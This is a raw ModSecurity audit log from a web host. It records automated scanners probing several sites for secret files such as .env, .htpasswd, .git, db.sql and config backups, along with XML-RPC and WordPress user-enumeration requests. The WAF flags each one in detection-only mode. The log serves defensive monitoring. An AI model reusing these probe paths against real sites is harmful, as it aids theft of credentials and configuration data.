[16/Jun/2025:06:15:50.797741 +0530] aE9pPvbo0R64L12N_alWxQAAAAQ 185.177.72.210 33820 127.0.0.1 7081 --c6977b50-B-- GET /old.htpasswd HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --c6977b50-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=e50440b1b70f9740e354a89f2f1d75ac1750034750; expires=Mon, 16 Jun 2025 01:45:50 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --c6977b50-H-- Message: Warning. Matched phrase ".htpasswd" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase ".htpasswd" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/old.htpasswd"] [unique_id "aE9pPvbo0R64L12N_alWxQAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750034750137839 659987 (- - -) Stopwatch2: 1750034750137839 659987; combined=1897, p1=402, p2=1396, p3=0, p4=0, p5=98, sr=103, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --c6977b50-Z-- --75a3fd2e-A-- [16/Jun/2025:06:15:56.348067 +0530] aE9pQ516HYQp4eDf7R1XdQAAAAI 185.177.72.210 34104 127.0.0.1 7081 --75a3fd2e-B-- GET /xampp/config.inc.php.old HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --75a3fd2e-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=130b57859cf2d4e71d13bbef3066ffc11750034756; expires=Mon, 16 Jun 2025 01:45:56 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --75a3fd2e-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".inc.php.old"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".inc.php.old"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/xampp/config.inc.php.old"] [unique_id "aE9pQ516HYQp4eDf7R1XdQAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750034755649006 699141 (- - -) Stopwatch2: 1750034755649006 699141; combined=1955, p1=348, p2=1492, p3=0, p4=0, p5=114, sr=104, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --75a3fd2e-Z-- --4740a236-A-- [16/Jun/2025:06:16:09.666959 +0530] aE9pUA9THibLN0xLxETyJgAAAAk 185.177.72.210 36580 127.0.0.1 7081 --4740a236-B-- GET /:5000/en/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --4740a236-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=67f942c6ef029cbb3303bf06c78d6fa31750034769; expires=Mon, 16 Jun 2025 01:46:09 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --4740a236-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5000/en/.env"] [unique_id "aE9pUA9THibLN0xLxETyJgAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750034768929611 737468 (- - -) Stopwatch2: 1750034768929611 737468; combined=2159, p1=498, p2=1578, p3=0, p4=0, p5=82, sr=123, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --4740a236-Z-- --92ee116f-A-- [16/Jun/2025:06:16:14.904715 +0530] aE9pVvbo0R64L12N_alW0QAAAAQ 185.177.72.210 45630 127.0.0.1 7081 --92ee116f-B-- GET /tmp/private/.env.local HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --92ee116f-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=1b70fadbe0693360b8b78fc5602db6a61750034774; expires=Mon, 16 Jun 2025 01:46:14 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --92ee116f-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/tmp/private/.env.local"] [unique_id "aE9pVvbo0R64L12N_alW0QAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750034774188037 716743 (- - -) Stopwatch2: 1750034774188037 716743; combined=2013, p1=397, p2=1511, p3=0, p4=0, p5=104, sr=85, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --92ee116f-Z-- --cb67d77a-A-- [16/Jun/2025:06:16:20.493584 +0530] aE9pW9NEcm-DhAkC0ibeZgAAAAY 128.199.112.101 55160 127.0.0.1 7081 --cb67d77a-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 496 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --cb67d77a-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --cb67d77a-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9pW9NEcm-DhAkC0ibeZgAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750034779564135 929517 (- - -) Stopwatch2: 1750034779564135 929517; combined=2372, p1=429, p2=1562, p3=44, p4=57, p5=175, sr=142, sw=105, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --cb67d77a-Z-- --03775265-A-- [16/Jun/2025:06:16:25.373126 +0530] aE9pYJ16HYQp4eDf7R1XggAAAAI 198.44.190.4 55420 127.0.0.1 7081 --03775265-B-- GET //wp-json/wp/v2/users/ HTTP/1.0 Host: www.3econcepts.com X-Real-IP: 198.44.190.4 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36 --03775265-F-- HTTP/1.1 401 Unauthorized X-Powered-By: PHP/8.3.22 X-Robots-Tag: noindex Link: <https://www.3econcepts.com/wp-json/>; rel="https://api.w.org/" X-Content-Type-Options: nosniff Access-Control-Expose-Headers: X-WP-Total, X-WP-TotalPages, Link Access-Control-Allow-Headers: Authorization, X-WP-Nonce, Content-Disposition, Content-MD5, Content-Type Allow: GET Vary: Origin Connection: close Content-Type: application/json; charset=UTF-8 --03775265-H-- Message: Warning. Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/etc/apache2/modsecurity.d/rules/comodo_free/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||www.3econcepts.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/etc/apache2/modsecurity.d/rules/comodo_free/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||www.3econcepts.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "www.3econcepts.com"] [uri "/wp-json/wp/v2/users/"] [unique_id "aE9pYJ16HYQp4eDf7R1XggAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/3econcepts.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750034784805496 567720 (- - -) Stopwatch2: 1750034784805496 567720; combined=2120, p1=341, p2=1668, p3=0, p4=0, p5=110, sr=89, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --03775265-Z-- --4a18e124-A-- [16/Jun/2025:06:16:27.120702 +0530] aE9pYpLRu31pT8F-J2ZOIgAAAAc 185.177.72.210 55468 127.0.0.1 7081 --4a18e124-B-- GET /ch2-mytodo/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --4a18e124-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=b6c0f4465b57f90f70f1abc9e00aa1951750034786; expires=Mon, 16 Jun 2025 01:46:26 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --4a18e124-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/ch2-mytodo/.env"] [unique_id "aE9pYpLRu31pT8F-J2ZOIgAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750034786440822 679983 (- - -) Stopwatch2: 1750034786440822 679983; combined=1692, p1=368, p2=1223, p3=0, p4=0, p5=101, sr=92, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --4a18e124-Z-- --cd84431a-A-- [16/Jun/2025:06:16:29.791072 +0530] aE9pZZ_Rv4EBtUyS5c4HvgAAAAU 185.177.72.210 55566 127.0.0.1 7081 --cd84431a-B-- GET /settings/.git/ HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --cd84431a-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=a661948c5d69bb6f55547f0b3b87a2571750034789; expires=Mon, 16 Jun 2025 01:46:29 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --cd84431a-H-- Message: Warning. Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/settings/.git/"] [unique_id "aE9pZZ_Rv4EBtUyS5c4HvgAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750034789043843 747292 (- - -) Stopwatch2: 1750034789043843 747292; combined=1929, p1=372, p2=1468, p3=0, p4=0, p5=88, sr=85, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --cd84431a-Z-- --3380be42-A-- [16/Jun/2025:06:16:33.823292 +0530] aE9paZ16HYQp4eDf7R1XhgAAAAI 185.177.72.210 58030 127.0.0.1 7081 --3380be42-B-- GET /:5000/local/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --3380be42-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=f11770ef78da161beff318cd38cd0cf51750034793; expires=Mon, 16 Jun 2025 01:46:33 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --3380be42-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5000/local/.env"] [unique_id "aE9paZ16HYQp4eDf7R1XhgAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750034793164929 658428 (- - -) Stopwatch2: 1750034793164929 658428; combined=2036, p1=422, p2=1493, p3=0, p4=0, p5=121, sr=99, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --3380be42-Z-- --bd2a763a-A-- [16/Jun/2025:06:16:39.943384 +0530] aE9pb5LRu31pT8F-J2ZOJwAAAAc 185.177.72.210 58254 127.0.0.1 7081 --bd2a763a-B-- GET /fixtures/fiber-debugger/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --bd2a763a-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=024c41b3d2dcab21b9f6b3da77e5fbec1750034799; expires=Mon, 16 Jun 2025 01:46:39 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --bd2a763a-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/fixtures/fiber-debugger/.env"] [unique_id "aE9pb5LRu31pT8F-J2ZOJwAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750034799275872 667576 (- - -) Stopwatch2: 1750034799275872 667576; combined=1715, p1=383, p2=1234, p3=0, p4=0, p5=97, sr=101, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --bd2a763a-Z-- --9b4ea377-A-- [16/Jun/2025:06:16:46.612797 +0530] aE9pdZ16HYQp4eDf7R1XjAAAAAI 185.177.72.210 43308 127.0.0.1 7081 --9b4ea377-B-- GET /:8008/api/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --9b4ea377-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=38540ad8cd5440172ac4838fd99272031750034806; expires=Mon, 16 Jun 2025 01:46:46 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --9b4ea377-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8008/api/.env"] [unique_id "aE9pdZ16HYQp4eDf7R1XjAAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750034805735362 877515 (- - -) Stopwatch2: 1750034805735362 877515; combined=2593, p1=485, p2=1988, p3=0, p4=0, p5=119, sr=125, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --9b4ea377-Z-- --1b64fd69-A-- [16/Jun/2025:06:16:47.604246 +0530] aE9pdjC9bb-fhYp4LpFS-AAAAAM 185.177.72.210 43414 127.0.0.1 7081 --1b64fd69-B-- GET /db.sql HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --1b64fd69-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=41c2ccdb98b7dd6120ed419d1746637d1750034807; expires=Mon, 16 Jun 2025 01:46:47 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --1b64fd69-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/db.sql"] [unique_id "aE9pdjC9bb-fhYp4LpFS-AAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750034806935110 669198 (- - -) Stopwatch2: 1750034806935110 669198; combined=1864, p1=333, p2=1437, p3=0, p4=0, p5=93, sr=99, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --1b64fd69-Z-- --e00d656c-A-- [16/Jun/2025:06:16:52.731323 +0530] aE9pfJ16HYQp4eDf7R1XjwAAAAI 185.177.72.210 56236 127.0.0.1 7081 --e00d656c-B-- GET /:5601/.env.bak HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --e00d656c-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=be33436a958b38ca20a2588306b29d2f1750034812; expires=Mon, 16 Jun 2025 01:46:52 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --e00d656c-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".env.bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5601/.env.bak"] [unique_id "aE9pfJ16HYQp4eDf7R1XjwAAAAI"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".env.bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/:5601/.env.bak"] [unique_id "aE9pfJ16HYQp4eDf7R1XjwAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750034812073029 658359 (- - -) Stopwatch2: 1750034812073029 658359; combined=2090, p1=410, p2=1547, p3=0, p4=0, p5=132, 